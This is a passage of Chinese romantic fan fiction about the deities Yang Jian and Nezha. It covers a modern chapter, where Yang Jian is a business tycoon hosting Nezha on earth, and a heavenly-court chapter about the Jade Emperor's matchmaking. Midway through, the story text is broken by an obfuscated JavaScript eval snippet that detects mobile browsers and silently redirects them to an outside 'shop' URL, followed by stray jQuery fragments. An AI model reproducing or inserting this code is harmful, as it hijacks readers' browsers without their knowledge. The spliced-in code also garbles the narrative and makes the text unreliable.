《清源莲花集》 2. 杨总,楼下站着的是不是你老婆? 当郭申带着人去珠宝行,看到三个被人小心翼翼捧着、还有专人看守的保险柜时,他的内心是崩溃的。身为二郎真君手下的小神,他没想到自己在二十一世纪竟然还要搞此等微小的搬运工作——虽然是别人搬,但是坐上那个会动的铁皮箱子、学习怎么使用凡人的所谓“科技成果”对他来说就已经够无趣了,而这一切都是杨戬搞的。 对,杨戬,清源妙道真君,封神大将,灌口二郎,到了新世纪还在人们心中占有一席之地的大神,他下凡了,准确来说,他一直在凡间。身为听调不听宣的二郎真君,他的来去一直非常自由,生活也紧跟时代步伐,天庭神仙如今还宽袍大袖,他已经穿上了衬衫西服。当今天下灵力式微,降妖除魔之事渐少,杨戬闲来无事下凡逛街,凭借着过于灵光的脑子,顺带给自己找了个新营生——投资做生意。 神仙下凡来做生意多少有些过分了,财神爷赵公明也嘱咐过他,如果真想玩玩,不要用神力作弊。 “不用。”杨戬干脆地回答道。 于是他真的没有用,仅凭着聪明的脑子和过分精准的直觉(当然,他有丰厚的本金)坐上了商业大亨的位置,名下九家公司,三家上了市,经营得可谓红红火火,还涉足了如今时兴的人工智能、自动驾驶等领域。不过郭申觉得研发那辆无人驾驶的汽车是多此一举,他的评价是“不如土遁”。 现在杨戬豪掷千金,拍下了珠宝拍卖行的三件首饰,此举一度上了新闻,人们纷纷猜测这位看上去不过二十五岁(实际年龄上千)的单身帅哥富豪是不是有了约会对象,对此传闻,郭申也没什么可说的,只能暗自嘲笑凡人的愚蠢——“开玩笑,他老婆都有了。” 是的,能让二郎真君这么做的人天上地下只有那么一个。郭申心领神会,抱着一堆他看不懂的文件,乖乖在杨戬办公桌前做置物柱,还没忘小心地来一句:“二爷……老板,看样子是元帅要来了?” “对,他那边如今也闲,见我这边每天过得精彩,也想下来看看,玉帝好容易给他批了几年假——你把东西拿回来了吗?” “哟,那三个铁盒子可重了,您买的什么啊?” “给他买点礼物,”杨戬笑道,“餐厅订好了吧?” “都弄好了,让秘书去弄的。” “你也得学学,以后我还想让你接活呢。” “以后?”郭申挠头道,“二爷,您还想在这儿呆多久啊?” 杨戬瞪了他一眼,没有答话。 —————————— 哪吒首先降在了僻静处。 他不知道自己身上这套衣服合不合年代,身为天庭尊神,他比不得杨戬那样了解凡间诸事,也不太跟得上时代——跟不跟得上对他都无甚影响,可如今既然要下凡好好走一遭,那必然是得学学人间礼仪的,听杨戬说如今和从前大不一样了,凡人也能上天下海,想想自己从前见过的凡人,他有些拿不准主意。 最终,机灵的中坛元帅选择了使隐身咒,先到人多的地方看看,再做打算。等到他美滋滋地落到繁华处,眼前路上的汽车和人群就让他足足呆了五分钟,他记得自己是卡着夜晚时分下凡的,可现在四周分明亮如白昼,人们的穿着和行为让他以为自己来到了异世界。 不过身为神仙,他的接受能力尚可,自然不会过多纠结于自己不懂的事物,到时去问杨戬,一切问题自然迎刃而解,当务之急是得找身合适的衣服穿。哪吒四处张望,消了隐身咒,走入一家橱窗里摆着数个塑胶女模的服装店。 此时的他身着从前下凡时穿过的青色女式长裙,乌发披在脑后,眉心一点朱砂,本以为店员看到他的打扮会觉得奇怪,哪知道对方笑吟吟地迎过来,倒一点也不惊讶:“小姐,想找什么样的款式?” 同往常一样,他不介意自己被认成女孩儿,拿着杨戬事先塞给他的小卡片完成了此次下凡的第一次购物,在试衣间换上了。 —————————— “去年净利润483亿,平均每天净利润超1亿,同比增长21%,是连续第三年盈利……” 杨戬盯着屏幕上的数字,坐在会议桌后,目光紧盯在前方报告的人,被他刻意隐去的天眼在此时察觉到了正在逐渐靠近的充沛灵气,这让他开始走神了。 他感觉到了哪吒下界的动静,也感受到了如今钢筋水泥都市下严正以待,万分紧张的土地们,大神下界,他们自当迎接,不过自己提前吩咐过,由他来接应哪吒,不用大惊小怪。 经理还在报告,杨戬抬起手打断了他还没说完的半句话:“今天就这样,不好意思,有特殊情况。” 会议室里的人面面相觑,这么多年了,这位首席执行官从未宣布过什么“特殊情况”,难不成是公司人事有变? 杨戬套上大衣,直接冲出了会议室,原本他想尽早去接人,可一个会竟然因为别的关系拖到了现在,这小呆瓜没在原地等他,不知道情况如何,气息倒是离他越来越近了。 难不成…… “老板,三太子——那什么……”郭申急匆匆跑过来,看他身边人来人往,一时语塞,见他皱眉后才重新开口:“那谁好像在下面。” “叫老板娘就行。”杨戬撂下这句话,迅速步入电梯间,拍了拍郭申的肩膀。 到了一楼大厅,他远远地就看到了一身藕粉色卫衣、穿着休闲裤和运动鞋,坐在广场喷泉边晃着小腿,用手去接水的人,仔细一看,这人嘴里竟然还叼了根棒棒糖,正在开心地玩着水花,丝毫不顾周围上班族惊愕的眼神。杨戬哭笑不得,没想到这人适应能力还挺强,就是一下子面对太多新事物,难免显得有些呆,明明七岁就能闹海,现在见了喷泉水却稀奇得跟什么似的,像个小孩子那样拍着手玩。 “二哥!” 哪吒也感觉到了他,欣喜地站起身,朝他扑来,他伸手将人牢牢接住,搂进怀中,顾不得四周突然安静下来的氛围。哪吒看着他束起来的长发傻笑,握住他的手:“二哥,你这样也很好看。” “先出来,”杨戬拉着人往外走,“这衣服是你自己买的?” “对啊,好不好?”哪吒摸摸自己肚子上的布料,“现在的人穿的衣服倒比从前方便,不像之前里三层外三层的……” “给你的卡,你会用么?” “会会会,怎么不会,”哪吒忙不迭点头,嘴里的棒棒糖也跟着动作摆动,“你之前跟我说的我都记着呢。” “那这糖也是你买的?” “你说这个?”哪吒舔了舔糖球,“来你这儿的时候在路上遇到一群小孩子在分糖,我好奇,多看了两眼,他们就给了我一个,好甜呢,香味儿和以前吃的不一样,还花花绿绿的……” 杨戬自己没觉得,但从其他人的角度看,他的嘴角已经快咧到耳朵根了。 “还是别随便吃人家给的东西……” “二哥还当我是小孩儿呢。”哪吒侧过脸去,嘟囔着。 他拉着哪吒往外走,通勤高峰期的办公楼群人来人往,有胆大的问了一句:“杨总,这位是你妹妹?” “哦,这是我夫人。” “啊?您结婚了?” 杨戬不接话了,拉着人直接往车库里去,那人透过车窗,看到了一张兼具清丽与美艳的脸——如果没叼着棒棒糖就更好了。 “杨总好福气啊……” “二哥,你也有这样的铁皮箱子?我刚才来的路上见了好多。” “什么?”杨戬替人扔掉了吃完的棒棒糖,又掏出湿巾给他擦了擦嘴,“这是汽车,是现在凡间通用的一种交通工具。” “土遁不好用么?还是纵地金光太费事了?” “你和郭申一样没劲,”杨戬笑着将他推上车,替他系好安全带,“既然是来凡间,自然得入乡随俗,总是依赖仙术又有什么乐趣?” “做凡人可没什么乐趣。”哪吒垂头打量箍在自己身上的安全带,饶有兴致地观察车内的陈设,见杨戬挂挡打方向盘,伸手过来:“这怎么玩?我也可以试试吗?” “你要开车得先考驾照。” 刚刚跃跃欲试的小手飞速缩了回去,哪吒对他的这番回应不大满意,抱着手坐在副驾驶,气鼓鼓地开口:“什么嘛……” “好好好,改天我在院子里教你怎么开车。” 路上的哪吒也没消停,盯着车窗外闪过的人群和高楼,打量路边的公交车站和绿化带,抓抓这个,摸摸那个,杨戬握紧方向盘,终究没忍住,趁着路口红灯还未变色,一把扣住身边人的后脑勺,吻上他的唇。 “唔!”哪吒刚刚还充满好奇的眼睛瞬间瞪大,手自然地搭在他肩膀上,一吻结束后还保持着原来的动作,摸了摸嘴唇,冲着他笑。 “二哥和从前不大一样了。” “怎么不一样?” “从前你可不会大庭广众的扯着我亲。” “现在不算大庭广众,”杨戬笑道,“你我在车里,从车窗外看不清里面。” “为什么刚才它们都停了下来,现在却都走了?”哪吒忙着接受新事物,显然不打算和他好好掰扯这个问题,扒在车窗上问,“你也走了,但是那边的车却停着,这是指挥用的灯?” “是的,看到红灯就停下,看到绿灯就往前走,大致如此,”杨戬用余光瞟了眼身旁的人,“不过你跟着我就行,以前就罢了,现在你要是乱跑,弄不好会栽在凡人手里。” “你就吓我吧……” “可不是开玩笑,你也知道现在天庭严禁神仙用仙术扰乱凡人生活。” “我可是中坛元帅,”哪吒重新抱着手,不满地瞪着他,“从前又不是没下来玩过,还能被凡人唬住?” ————————— 杨戬看着坐在自己身边拿红酒当饮料、吃完了前菜副菜主菜,又几口舔干净甜点的人,刚想问他觉得味道如何,哪吒就开口了:“二哥何时变得这般小气?菜竟然要一道一道上,总共居然也就这么点。” 杨戬一句话卡在喉咙,下不去也上不来,身为神仙,他们本不贪口腹之欲,但哪吒平日生活枯燥,就好美食,其实并不会吃多少,只是喜欢尝味道,自己本以为这西方来的餐饮能给他带来点新鲜感,没想到哪吒完全没把盘里的牛排当回事,在他眼里,惠灵顿牛排和尖椒牛柳估计没什么大的区别。 早知道不选米其林餐厅了,一顿火锅怕是还痛快些,失策。杨戬这么想着,对面的人已经开始问服务员要冰淇凌球了,只见哪吒仰着头,眨巴眨巴漂亮的眼睛,冲着服务生笑,对面的年轻男子脸上顿时浮起了可疑的红晕。 “小二,我想再来个这个,”哪吒指指快吃完的红色冰淇淋球,“有劳了。” 他想提醒哪吒现在的称呼问题,还想问问他是不是很喜欢手里的冰淇淋,但率先脱口而出的却是:“别随便对别人笑。” “不是你说的凡人可怕,让我警醒点么,”哪吒舔舔冰淇淋挖勺,“我对他们笑,想来他们就不会为难我了。” 这幅天真纯良的无辜模样还真能把人唬住,只可惜对面是杨戬。哪吒端着冰淇淋球坐进副驾驶,在抵达杨戬在凡间购置的二层小楼前顺利地让它全进了肚,以至于杨戬拔出钥匙关上门并把人压在门板上亲吻后,第一时间感觉到还的是他嘴里沁甜的草莓味。 “二哥……”哪吒被一把抱起,刚才买的衣服也被迅速剥开,好不容易从换气的间隙找回了点理智,但杨戬就没打算给他喘息的空档,“慢点……别……” 杨戬三下五除二扯掉了哪吒自己挑的卫衣、运动裤和鞋,扔在楼梯上,几乎是将人扛进了浴室,哪吒被这套现代风格的建筑惊艳,不住地转动眼珠,上下左右打量,就连和他接吻时也睁着眼,忍不住伸手掰扯把玩水龙头,又摸摸浴缸边缘,在心中嘀咕“这就是我之前用的浴桶嘛”。 “专心点,”杨戬对他的开小差颇为不满,“这么久没见,你对我就没什么表示?” “啊?”哪吒靠在浴缸里,眨巴眨巴眼睛,“我这不是自己来了吗,还要怎么表示?” “不许分心。” “说话也和从前不大一样,把我当你手下使唤呢,”哪吒笑着搂紧他的肩膀,“你还记不记得自己是二郎真君?” “我只记得我们结契了,”杨戬蹭了蹭他的脸颊,“而你过了两年才应我的邀约,留我一个人在凡间独守空房这么些年。” “说得好像委屈了你似的,明明来凡间是你自己的主意。” “怎么不委屈?现在可不是说小别胜新婚的时候,你得补偿我。” “行,你说我该怎么补偿你?现在凡间时兴些什么?” ————————— 等到在浴室、浴室洗手台、衣帽间、卧室地毯、落地窗、书桌上算了数次帐后,两人总算躺到了床上。杨戬用一只手将人死死摁住,另一只手拉开了床头抽屉,哪吒应声瞟过去,看到了一堆他不知道是什么的东西——不知道是什么,但直觉告诉他那些绝对不是什么好玩意儿。 一向兢兢业业的杨总,在心爱的夫人来后,旷了三天工。到了第四天,郭申趴在门口听完动静,第一次拿起手机,反复比对号码,拨通了杨戬秘书的电话。 —————————— 身为莲花化身、灵珠子降世的天庭尊神,哪吒从没感觉这么累过。或许这和他来到凡间,周身灵气相应被隐藏了有关,但是他现在实在疲累,浑身上下像被太行山、昆山、七孔山、无影山、宝金山连续碾过,又让他想起了数千年前在金鸡岭和孔宣的那一晚对峙,浑身难受,连说话都不利索,更可恶的是杨戬此时不知道去哪儿了,留他一人在床上。 倒在床榻上,他迷迷糊糊,手指却好像被套进了一个冰凉的东西,肩膀也有些凉,有什么人捧着什么东西站在了他面前,定睛一看,他脱口而出:“哟,这不是郭申吗?你什么时候下来的?” 郭申恭恭敬敬地叫了句“三太子”,可能是见杨戬在,只说是真君让他跟来的,并不提其他,捧着镜子站在自己面前。哪吒心中了然,冲他一笑,看向镜子里的自己——发丝凌乱,上半身雪白匀称,脖子上挂了一串闪耀夺目的项链,杨戬正往他耳朵上挂配套的耳坠,他从未见过这样璀璨的首饰,一时惊得说不出话,拿手去摸,却发现自己的无名指也套上了一圈金饰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171748|196835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是……” “手上的叫戒指,现在凡人成了亲,夫妻双方都会在手上佩戴成对的戒指,以昭告世人,”杨戬扶着他的腰,“你一向喜欢闪亮的首饰,我就去寻了这几套配饰,你喜欢哪个就戴哪个,普通珠宝店的都是些小巧玩意儿,不如这些古董衬你的身份。” “这些都是什么?我之前从没见过。”他轻抚脖子上沉甸甸的项链,这串东西快把他的眼睛闪瞎了。 “有些你见过,只不过现在的切割工艺更好,这是钻石,有纯净透明的,也有彩钻,那个是红宝石,另外一套是珍珠。” 他不懂,他只知道这些东西八成很名贵,不然也不会被人捧着,放在盒子里。 “愣着干什么?这都是你的,”见他发愣,杨戬凑过来亲他的脸,“你戴什么都好看,我又拍下了一套祖母绿珠宝,和你从前的碧玉耳坠有点像。” “衣帽间里都是你的衣服,平常我看到觉得适合你,就买了,你的尺码我应该不会挑错,等你能下床了,我扶你去试试?” “二哥,你像养娃娃似的在打扮我呢……”哪吒不顾一旁的郭申,主动勾住杨戬的脖子,“这衣帽间都装满了,要我试到什么时候去?” “想你的时候就会去给你挑衣服,”杨戬无奈道,“想着有一天你来了能穿上,哪知道……不知不觉就装满了。” “我知道,”哪吒笑嘻嘻地凑过去,盯着他看,语气绵软,乖巧无比,“二哥爱我嘛。” 他的心中有千万只蝴蝶振翅欲飞,哪吒在他心口轻轻叩了叩,蝴蝶顿时拍动了翅膀,将他二人包裹,原本颤动的心房也被蜜水浸润。紧紧搂住怀中的人,吻他发顶,哪吒也很配合,缩在他怀里,像猫那样蹭了蹭。 “在天庭辛苦了这么久,如今来了二哥这里,就好好休息吧。” “二哥说笑了,我就算想帮,估计也帮不上什么忙,不打扰二哥赚凡人钱就已经是谢天谢地了。” —————————— 杨戬名下所有公司的员工几乎都知道他们的大老板最近因为夫人来了,改了工作狂的性子,先是休了一个月的假,后来又带着夫人来办公。而这位传说中的杨夫人——没人和他真正接触过,只在媒体前露了几次脸,隔天就因为容貌出众上了热搜榜,惹得网友好一番议论。哪吒不会用这些社交媒体,因此这事也只有杨戬知道,他偶尔会去翻看网友对他爱人容貌的夸赞,不过神仙下凡时因为仙气有所收敛,容貌已经有了一些隐秘的变化,哪吒的实际模样比如今还耀眼几分,只是当事人似乎并不在意这些。 “猫猫,猫猫……”哪吒穿着居家长袍,趴在地毯上和他们昨天抱回来的幼年金渐层大眼瞪小眼。刚被他教会上网的人不知在哪里看到了别人养猫的视频,立刻嚷着要一只,还有模有样地学习怎么喂猫粮和铲猫砂,让自己帮忙买罐头。 “就叫他咪咪好了。” “喵——” “二哥你看,他喜欢我,”哪吒抱起小猫,猫咪很配合地又叫了一声,“我要抱着他睡觉!” “不行,凡人不抱着猫睡觉的。” “我是神仙,我可以抱着猫睡觉。” “你想让他看着咱俩……?” 哪吒默默地把猫放下了,一个多月大的猫咪在地毯上爬来爬去,哪吒看得心花怒放,嘴里没停:“你看,它的脑袋圆圆的,毛绒绒软乎乎,眼睛也大大的圆圆的,像颗葡萄,肚皮也软软的……” “嗯……”杨戬看了一眼猫咪,把视线移到了爱人身上,哪吒抱着猫乐呵,追着猫跑,玩得不亦乐乎,别人看了恐怕很难把面前的人与叱咤疆场的中坛元帅联系起来,可杨戬知道,这就是哪吒——他的爱人澄澈纯粹,在他面前没有防备,脱盔卸甲,显露出最真实可爱的样子。 夜晚,他与哪吒恩爱几度,趁人困乏睡着时打开门,把猫咪抱了上了床,放在哪吒身边,自己则睡在另一侧,紧紧搂着爱人的腰。 —————————— 从前爱人不在,他习惯了独来独往,神仙不该与凡人有过多过深的交流,何况他与凡人也没什么好说的。如今哪吒来了,他自然天天把人带在身边,清晨上班,还在熟睡的哪吒被他抱到车后座,到了公司又被直接抱进办公室,在躺椅上继续睡,醒来后郭申会送来早餐(有时是早午餐),哪吒就看着落地窗外熙熙攘攘的人群,坐在他身边吃东西,没习惯西方餐点的东方神明捧着糖包和花卷,喝着豆浆,翘着腿看他的二哥在电脑面前敲敲打打。 陪杨戬谈生意时,哪吒会穿上杨戬给他买的礼服。从前他下凡就穿惯了女式衣衫,现在他不太了解凡人的着装何时变成了这样,好像也是女式,但是他总觉得哪里怪怪的,皮草和珠宝一搭,他觉得身边凡人的目光都变得很不自然,只有紧紧攒着自己手的杨戬神色自若,出于对杨戬的信任,他不想追究——二哥怎么可能害他呢。 秘书敲门来递文件,看到一张灵秀脱俗的脸,一人坐在沙发上,乌发披散,身着丝绒红袍,怀中抱着一只熟睡的猫咪,光脚掂在地毯上,脚腕有两个金灿灿的镯子,正津津有味地看着电视里播放的纪录片。 “夫人。” 漂亮的脑袋转了过来,冲他笑了笑:“你们杨总在衣帽间换衣服。” 没几秒后,杨戬就出来了,穿着棕色大衣,径直走向沙发里的人,亲了一下他的脸,紧接着抬头道:“什么事?” “周二会议的报告出来了。” “放那儿吧。” 秘书又瞄了眼沙发上的人,有些魂不守舍,缓缓走了出去。杨戬笑着俯身:“他们都以为你是女儿身。” “我和凡人计较什么,更何况莲花属阴,我也不算什么纯粹的男儿身。” “我又给你订了一套珠宝。” “你好像很喜欢给我买这些。” “你不喜欢么?” “喜欢,”哪吒仰起头亲他脸颊,“可看你赚钱辛苦。” “哪里辛苦,若是不花出去,我也不知道赚这些钱有什么用,”杨戬搂着他的脖子,托起他的下巴,“更何况我想看你戴着这些……” 杨戬凑在他耳边轻声说了什么,他的脸颊登时飞起红霞,用力地推了一下杨戬的肩膀。 “来了凡间,越来越不正经了。” “此言差矣,”杨戬笑道,“杨某何时正经过?” “玉帝刚才传了旨,准许我再在凡间留几年,不过哪处若是有了妖魔,我还得赶过去。” “好,那我陪着你,就当游山玩水了。” “他还让我嘱咐你,这些东西,”哪吒努努嘴,朝他的办公桌仰头,“玩够了就尽早收手,虽说你平常清闲,但好歹是他外孙,我瞧着他还想让你做接班人呢。” “做天帝?”杨戬笑笑,“你答应我做我的天后,我就做天帝。” “又胡说八道了,没个正形,哪个要做天后?我是中坛元帅。” 杨戬低笑,抚上他的额头,刚刚套上的衣服又被脱了下来。他自然地靠在爱人怀中,怀中的猫咪感觉到了不适,“喵喵”叫了几声,跳到了地毯上,杨戬顺势压下来,吻上了他的唇。 3. 啼笑姻缘(上) 当外公第三次“不经意”地提起他的婚事时,杨戬坐不住了。他知道外公在想什么,自己的母亲下嫁凡人,早已将他视为天帝继位人的玉帝唯恐他走了母亲的老路,哪天钟情于凡人,扰了他的计划,不如直接将自己相中的人赐给他做妻子来得好。 只是他杨戬可不是会听从他人安排的人。玉帝想赐婚,他每每都能想到办法推脱,不若便是顾左右而言他,玉帝语重心长,告诉他钟情他的仙很多,好歹见几个,他干脆地摆手拒绝:“承蒙外公厚爱,外孙闲时除了与哪吒师弟下棋喝酒,别的应酬是一概不去的。” 玉帝抚须点头,微笑道:“哪吒这娃娃生得俊俏,本事也好,外孙你以为如何?” 谈到自己的这位师弟,杨戬周身积攒的低气压顷刻间烟消云散,忍不住勾起嘴角:“哪吒自然是很好的,自封神时期我俩相识,算来已有千年之久,他如何我如何,彼此的师父、掌教师尊也都是知道的。” “我知他讨人喜欢,钟情他的人也能在天宫排起长龙。” 杨戬摇摇头:“外公,您可不要乱点鸳鸯谱,哪吒军务繁忙,那人若无力照顾他,便是给他添乱了,再说他的性子,他若不喜欢,您强塞也是无用。” “那让你来为你的这位师弟挑个好的,如何?”玉帝按下棋子,抚掌而笑,“如你所说,哪吒军务繁忙,也是该找个人来照顾他,你以为如何?” 杨戬沉默着将黑子放到棋盘上,又抬眼看向外公:“陛下以为何人能配中坛元帅?” “一时半刻还真想不到有何人选,戬儿你以为呢?” 哪吒的私事他不应插手,他也不知今日玉帝为何偏要向他问出个答案,盯着棋盘沉思良久,看似是思考破局之策,实则心中乱作一团。玉帝笑吟吟看着他,在等待他的回答,他如鲠在喉,几个字卡在喉咙里,左右就是说不出来。 “哪吒是与我关系最亲近的师弟,恕杨戬直言,天宫上下,恐怕没有能与哪吒相配的神仙。婚姻之事实属大事,杨戬只希望哪吒能寻到一个对他真心相待的人,不敢插手妄言。” 听了这话,玉帝也不恼,依旧笑着看他:“戬儿果然想我所想,行事说话颇有分寸。” “不敢,此事涉及师弟终身,太过重大。” “你对哪吒倒是十分看重。”玉帝落了白子,继续盯着他,似乎在观察他的表情。 “莫逆之交,自然是看重的。” “您也曾数次救他,”玉帝眯起眼睛,抚着胡须,好像在仔细回忆,“定居灌江口以来你唯一一次替天宫出手,就是因为那猴子伤了他吧?” “是,外公好记性。” “你一向办事稳妥,甚少见你着急,自然就记住了。” 杨戬垂头一笑,接着点头称是,玉帝随之感叹:“看来能使唤二郎真君的,只有中坛元帅啊。” “外公说笑了。” “这棋也下完了,”玉帝挥手唤来侍从,“你就替我把这两盒山楂糕送到云楼宫去吧,前些日子天宫宴会,我看哪吒进得不太香,特地让人制了送去给他开胃。” 红棕色的山楂糕玲珑剔透,一块一块垒起来放在瓷制餐碟上,他只瞄了一眼便顺手接过,拱手向自家外公告别。玉帝看他的眼神有些意味深长,他没悟出来其中的深意,也无暇顾及了。 云楼宫地处天宫最外层,是个清净地,又有大块花园供哪吒练兵、调教下属,离下界也近,他知道外公在这处宫宇的选址上是用过心的,知道哪吒并不在封神榜上,上天庭任职实属玉虚宫给了天宫一个面子。 一进那扇暗红色的铁门,哪吒就披着水蓝色披风来迎他了,他放下山楂糕,抢在师弟之前开口:“今日怎么穿成这样?生病了?玉帝说你前几天进得不香,出什么事了?” “三日未见而已,你问题倒多,”哪吒揭开食盒的盖子,见是点心,笑得合不拢嘴,“二哥何时学会了做这些小玩意儿?” “哦,这些不过是玉帝叫我捎来的,你若想吃我做的,我叫人做好了送来。” “原来是空欢喜,好没意思。”哪吒给他端了杯茶,坐在他身边,不论他来云楼宫,或是哪吒光临真君府,身旁的侍从一概全部回避,独留他俩,凡事亲力亲为,这似乎已经成了两座府邸侍从间不成文的规定。 “你还没回答我的问题。” 哪吒托着下巴,如实回答:“昨日看文书晚了,今晨起早有些不舒服,便又睡下了,一直到刚才。” “我给你搭个脉。”杨戬过来拉他的手,他也很自然地伸了过去。 “有点虚浮……得静心休息。” “知道了,二哥。” “你总这样说,”杨戬端起青玉茶杯,喝了一口,“真到了该休息的时候又忘了。” “我哪里就那么娇贵,”哪吒笑道,“留下来用晚膳吗?” “尝尝你府里厨子的手艺。” “好啊,”哪吒高兴地唤来侍从,嘱咐了几句,又转向他,“今日上天宫是为何事?” “陪玉帝下棋。” “除了下棋,没别的么?” “我一向清闲,哪有什么大事?” “玉帝没有向你说起别的事?” 杨戬迟疑半晌,摇摇头:“左不过是些嫁娶之类的事,说了百八十遍了,每次都要想着花样拒绝。” 哪吒咬了块山楂糕,听见这话就笑弯了眼:“又是哪家的佳人?二哥怎好辜负红颜痴心?依我看,趁早给我找个嫂子才是正经!” “好你个没心肝的,”杨戬轻轻拍了下身旁师弟的腰,收了点笑,“枉我今日替你推辞周旋,你还要来取笑我。” “替我推辞什么?” “今日玉帝同我下棋,言语间似有替你寻一门亲事的想法。” 听过这话,哪吒方才翘起的嘴角瞬间凝固,再也笑不出来了:“怎么回事?他操心你的婚事也就罢了,莫不是年纪大了忙着戕月合仙的行,撮合你成亲不成,又要转来霍霍我?” 杨戬听得直笑,端起茶来:“他还问我要人选,我只说不便插手,也不知他还会不会继续物色。” “好端端的,我不想成亲。” “二哥知道你不想,因此不会插手。” “这可不行,你得帮我说说,让玉帝消了念头。” “这怎么使得?”杨戬眉眼含笑,半是认真半是揶揄,“怎好辜负他人痴心?贤弟得尽快给愚兄寻个弟妹来才是。” “……”哪吒拿了侍从手上的青缎团扇,朝他身上打,他也不躲,就势接过扇子,在手间把玩:“这布料是上回我送你的那匹蜀州缎?” “难为你还记得。” “怎么不记得,统共就这一匹像这样好的青色,我知道你喜欢这颜色,就给你送来了,你做了扇子?” 哪吒冲屋内努努嘴:“前些日子让人做好的,一共裁了两件衣服,余下的边边角角便做了香囊扇子一类小物件,你送来的东西,我怎会糟蹋?” “那快让我瞧瞧衣裳,”杨戬放下扇子,拉着他往屋里走,嘴上没停,“我又得了一对翡翠耳坠,色泽极佳,今日忘了拿来,改日送来你看看你喜不喜欢?” “好。” 他早已习惯杨戬如此对他,封神结束后的两人离开了战场,也曾短暂地有过一段不适应期,曾经的先行官和督粮官成为了中坛元帅和二郎真君,不变的是两人之间的感情和相处模式——东征时杨戬就喜欢从督粮途中给他带些小玩意儿,有时是糖人,有时是小巧的护身法宝,成了二郎真君后的杨戬依旧如此,送衣料,送首饰,送屏风装饰一类物件,数千年来,他一直没操心过穿着,云楼宫也快被杨戬送来的大小礼物塞满了。 “二哥,你这样想着我,以后有了嫂子可怎么好?”哪吒拉开抽屉里大大小小数百件整理好的耳坠,随意挑一件都是上好珍品,“也不留些给你未来的夫人么?” “我没那想法,”杨戬轻搂住他的腰,引着穿青色锦缎便装的他转了个圈,“这裁缝手艺不错,做的衣服很合你的尺寸,形制也好看。” “我挑了很久。”哪吒冲他挑了下眉,又自己转了个圈,“总不能辜负二哥的心意。” 杨戬满意地抚掌而笑:“青色衬你,红色更衬你,下回给你裁红衣。” “才不要,二哥,红衣裳你还是留着给你的新娘子吧。” “什么新娘子?你别说笑了。” “如今天庭有些头脸的都心照不宣,玉帝相中了你做他的继位者,就怕你爱上他看不上的肉体凡胎,因此想给你赐婚呢。” “我知道这些,”杨戬打开窗子,云楼宫内那棵桃花树如今开得正好,片片粉色随风落下,荡起淡淡花香,“不是他赐我就会依,你不知道二哥是什么人?” “我当然知道,只是……二哥是心有所属还是不想成亲?” “杨某从未想过和人结契成婚,即便成为天帝,也不打算封什么天后。” 哪吒了然一笑:“二哥自然无心情爱,哪吒知道。若你有朝一日成为天帝,我便能和你经常相见了。” 杨戬缓步走到他面前,接过他手里的木梳,把他摁到妆台前,嘴角微翘,眼神也变得十分温柔:“如此,再好不过。” 次日,哪吒往凌霄宝殿去应召,远远就瞧见一身暖白色衣衫,端坐在玉帝身边,神情悠然自在的杨戬,后者甚至还在抚弄手上的白子,见他来,视线便从棋盘上移开了,直勾勾盯着他。 他俯身下拜,玉帝摆手示意免礼,他起身,口称陛下,又与杨戬互敬了礼,方才恭恭敬敬地问召见是为何事。 “元帅,昨日给你送去的山楂糕,你可喜欢?” “谢陛下关心,臣很喜欢。”虽然有些意外和不解,他还是这样回答道。 “前些日子的山药糕和马蹄糕呢?” 不光是他,杨戬也眉头微皱,不明白玉帝所问为何。 “都很喜欢。” “你可知那些糕点都是何人所制?” 哪吒摇摇头,与杨戬面面相觑,正想着要不含糊回答几句,玉帝就笑了:“张黎,你来见见中坛元帅。” 哪吒正愣着,就瞧见侧后方走来一男子,从玉帝口中,他得知这位是西王母之女碧华的义弟,相貌堂堂,举止儒雅,也算一表人材,在碧华的婚礼上注意到了他,有意与他结识。 说话间,男子已经对他作了个揖:“中坛元帅,久仰大名。” 还挺客气。哪吒见人态度诚恳,行为端方有礼,也并不反感,回了个礼:“张公子。” “前些日子我制了些糕点送往元帅府中,元帅喜欢就好。” “张公子有心了。” “我知道元帅繁忙,如此便开门见山。我在玉山一带遇一妖,为千年鼠精,喜食人类血肉,祸害当地村民,本想将她除掉,谁知这妖孽称自己为三太子的妹妹,还说有神牌为证,因此不敢轻举妄动,特来询问。” 此话一出,哪吒和杨戬皆是沉默,张黎见他神色不对,刚想继续问,就被哪吒打断了:“此事说来话长,张公子,不如我陪你去一趟。” “如此甚好,”玉帝笑眯眯地抚须,看向身边眉头轻皱的外孙,“戬儿,你说呢?” 哪吒已经要拽着人往玉山去了,本来端坐在玉帝身旁的人也“噌”地一下站起,朗声道:“我随你们去。” 张黎惊讶道:“二郎真君?” “二哥,你不用如此,”哪吒冲玉帝使个眼色,后者只装没看到,“你在这儿陪陛下下棋便可。” “棋已经下完了。”杨戬回身冲外公一拱手,也不管玉帝同意不同意,拍拍师弟的腰,一同与他下去了。 “三太子,如此看来,你当真有个妹妹?” “义妹罢了,他认的,自己又不管,倒由着她在下界生事……” “……谁?” “别问那么多。”杨戬板着一张脸,驾云插到他两人中间,哪吒自然地往旁边靠了点,张黎侧头看着此刻不约而同眉头紧锁的二人,若有所思。 玉山一带地处偏僻,但也算山清水秀,风景怡人,山下有个小村庄,哪吒定睛向下看,只见山野间的农户个个窗门紧闭,就算是在白天,也像在躲着什么。 “那鼠精就在此处山洞内住着,三太子,您看这……” 哪吒立在云端思索半晌,想着自己不可能就这样贸然冲下去兴师问罪,便朝张黎拱手道:“张公子,还得劳烦您先下去一趟。” “三太子客气。” 他和杨戬在云端站着,张黎落到了妖精洞前,眼看一美艳绝伦、身姿绰约的女人从洞中走出时,哪吒的脸色骤然僵硬,杨戬察觉到了他的不安,悄悄抚上了他的后背。 老鼠精见了来人,没说几句就拔剑朝张黎刺去,想来是因为不知道这妖精究竟和自己有什么关系,张黎不好出手,只能躲,他猛地冲下去,两只手指夹住剑柄,微微用力,长剑应声断裂,女妖精见是他,松开了剑柄,咧开了一个意味深长的笑:“哪吒哥哥?” 他只看着张黎,伸手去扶,帮他稳住身体:“没事吧?” “无事,三太子,这……” 